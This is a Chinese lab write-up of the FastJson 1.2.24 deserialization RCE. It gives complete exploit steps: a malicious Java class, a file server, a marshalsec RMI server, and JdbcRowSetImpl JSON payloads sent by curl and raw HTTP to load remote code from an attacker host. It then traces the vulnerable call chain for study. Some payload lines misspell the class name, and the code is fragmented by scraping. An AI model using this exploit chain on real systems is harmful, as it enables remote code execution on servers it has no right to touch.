概述:本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。
漏洞的复现与调试分析采用了两套环境
复现:Windows+WSL_Ubuntu18.04+Vulhub
调试分析:Windows+IDEA+WSL_Ubuntu18.04
采用 Vulhub 中的FastJson 1.2.24-RCE 集成式Docker环境
此处需要用到一些其他知识:
VulHub 下载命令:
下载完成后进入相关漏洞环境目录
此处为:/vulhub/fastjson/1.2.24-rce
目录下具有docker-compose.yml
文件,为docker compose
的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE
漏洞的Docker
容器
构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down
进入docker容器命令:
使用docker ps
获取对应容器的CONTAINER ID
进入docker容器
docker exec -it <CONTAINER ID> /bin/bash
检测是否正常使用:在本机运行curl http://127.0.0.1:8090
出现下图信息,表示正常运行:
注意:此文件构建在另一主机上
此处需要使用到的其他知识:
创建TouchFile.java
文件
拷贝如下代码
执行编译命令,生成class文件
javac TouchFile.java
注意:此文件服务器不与目标机同一机器上
命令行模式下cd
到构建了恶意payload文件目录下
执行命令:python -m http.server [port]
例:python -m http.server 1111
出现下图所示表示成功:
此时在目标主机应该可以访问到此目录下的文件
在目标主机执行命令
curl http://<存放了payload主机的IP>:1111
返回的数据中应有如下类似数据
注意:此RMI服务不在目标主机上,在搭建了文件服务器的主机上。
(当然,它也可以在其他机器中,只要各个机器可以互相访问)
RMI: Remote Method Invocation,远程方法调用。RMI服务类似以前的电话转接员,用于告诉服务器的去哪里寻找他要的东西。这里绑定了恶意的python文件服务器,被攻击方将会到文件服务器中访问指定的class文件。
此处需要用到一些其他知识:
下载marshalsec
Github:git clone https://github.com/mbechler/marshalsec.git
Gitee:git clone https://gitee.com/Plastilina/marshalsec.git
下载完成后进入marshalsec
目录,其中有一个pom.xml
文件,这是一个maven
的项目构建文件
使用maven
构建项目:mvn compile
构建完成后,在该目录下会有一个target
目录,内含构建好的jar包
我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar
也可以直接下载编译完成的jar包
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git
然后进入jar包所在文件执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>
例:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999
注:下列操作皆在恶意主机中执行。
启动BurpSuite
,创建一个Repeader
,host、端口指向目标机,当然也可以直接使用Curl
拷贝如下代码:
发送请求
如果成功将有如下表现
文件服务器将出现如下记录。这是来自目标服务器的访问(RMI将你的数据信息告诉了目标服务器)
如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据)
如果RMI服务出现如下记录。这是来自目标服务器的访问,他将告诉目标主机去哪里获取它想要的文件数据。
如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName
字段是否填写正确。
目标docker容器执了命令,这里是在tmp
目录下创建了success
文件
为了方便分析调试和追踪恶意数据,便不使用vulhub
集成环境了。
代码链接:Link
JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase
。为什么要开启这个服务,开启trustURLCodebase
表示允许远程加载工厂类,可通过各种协议进行远程调用。
调试启动服务端
使用IDEA
调试启动服务端,指定监听端口可在src/main/resources/application.properties
目录下修改。
构建payload触发漏洞
使用curl
发送payload
curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'
当恶意代码执行完毕后,由于后续的状态的校验没有通过,会触发异常,返回调用堆栈。(请启用断点中的异常断点)
截取主要部分
整个堆栈大致可以分为两部分
JdbcRowSetImpl
这条利用链也算比较经典,主要利用了Java的反射机制触发漏洞。
在Method.invoke
处设置断点,发送Payload
触发断点。
可以看见setAutoCommit
方法被调用了,这也就是Payload
中设置AutoCommit:false
的原因(其实true/false
无所谓,只是为了触发反射调用。)
随后进入setAutoCommit
源码,发现调用了connect
,继续跟进。
跟进后发现了JNDI初始化流程,而这里的getDataSourceName
,返回的便是我们Payload
中DataSouceName
。
lookup
中的参数可控,就和exec
参数可控一样,具有很高的危险性。
至此,通过RMI
协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。
JSON.parseObject
JSON.parseObject
主要做了这么几件事
DefaultJSONParser.parseObject
JSON.parseObject
主要做了这么几件事
JavaBeanDeserializer.deserialze
这里的JavaBeanDeserializer.deserialze
对应着上面的序列化器
采用了JAVA
的ASM
技术动态的生成了类,并使用其创建了序列化器。
其主要做了一下几件事
JavaBeanDeserializer.parseField
JavaBeanDeserializer.parseField
内会做如下几件事
调用smartMatch
,尝试从已有的FieldDeserializers
中匹配字段反序列化器
当没有匹配到对应的反序列化器时,流程走向DefaultJSONParser.parseExtra
而parseExtra
内会匹配extraTypeProviders
,匹配失败的话流程走向DefaultJSONParser.parse
DefaultJSONParser.parse
DefaultJSONParser.parse
内会做如下几件事
关于反序列系列的漏洞,我们通常关注的两个点:
如前边所展现的com.sn.rowset.JdbcRowSetImpl
便是一条反序列化链,通过设置dataSourceName
与autoCommit
属性,通过反射机制达到加载恶意类文件目的。
类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
而接下来的FastJson
一系列的调用,便是对反序列化的链的一个利用。
可以发现,在首次反序列化失败后,流程会扫描传入的JSON
字符串,并根据@type
字段的值进行指定类型的构造,这也是此次漏洞主要的点。
在FastJson
更高版本的补丁中便是增加了对@type
类型进行了一系列的检查过滤。
参考
fastjson历史漏洞研究(一)
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析
/
/
javac TouchFile.java
import
java.lang.Runtime;
import
java.lang.Process;
public
class
TouchFile {
static {
try
{
Runtime rt
=
Runtime.getRuntime();
String[] commands
=
{
"touch"
,
"/tmp/success"
};
Process pc
=
rt.
exec
(commands);
pc.waitFor();
} catch (Exception e) {
/
/
do nothing
}
}
}
/
/
javac TouchFile.java
import
java.lang.Runtime;
import
java.lang.Process;
public
class
TouchFile {
static {
try
{
Runtime rt
=
Runtime.getRuntime();
String[] commands
=
{
"touch"
,
"/tmp/success"
};
Process pc
=
rt.
exec
(commands);
pc.waitFor();
} catch (Exception e) {
/
/
do nothing
}
}
}
POST
/
HTTP
/
1.1
Host: 目标机器:
8090
Accept
-
Encoding: gzip, deflate
Accept:
*
/
*
Accept
-
Language: en
User
-
Agent: Mozilla
/
5.0
(compatible; MSIE
9.0
; Windows NT
6.1
; Win64; x64; Trident
/
5.0
)
Connection: close
Content
-
Type
: application
/
json
Content
-
Length:
160
{
"b"
:{
"@type"
:
"com.sun.rowset.JdbcRowSetImpl"
,
"dataSourceName"
:
"rmi://恶意主机IP:9999/TouchFile"
,
"autoCommit"
:true
}
}
curl <目标主机IP>:<端口>
/
user
-
H
"Content-Type:application/json"
-
d
'{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'
POST
/
HTTP
/
1.1
Host: 目标机器:
8090
Accept
-
Encoding: gzip, deflate
Accept:
*
/
*
Accept
-
Language: en
User
-
Agent: Mozilla
/
5.0
(compatible; MSIE
9.0
; Windows NT
6.1
; Win64; x64; Trident
/
5.0
)
Connection: close
Content
-
Type
: application
/
json
Content
-
Length:
160
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)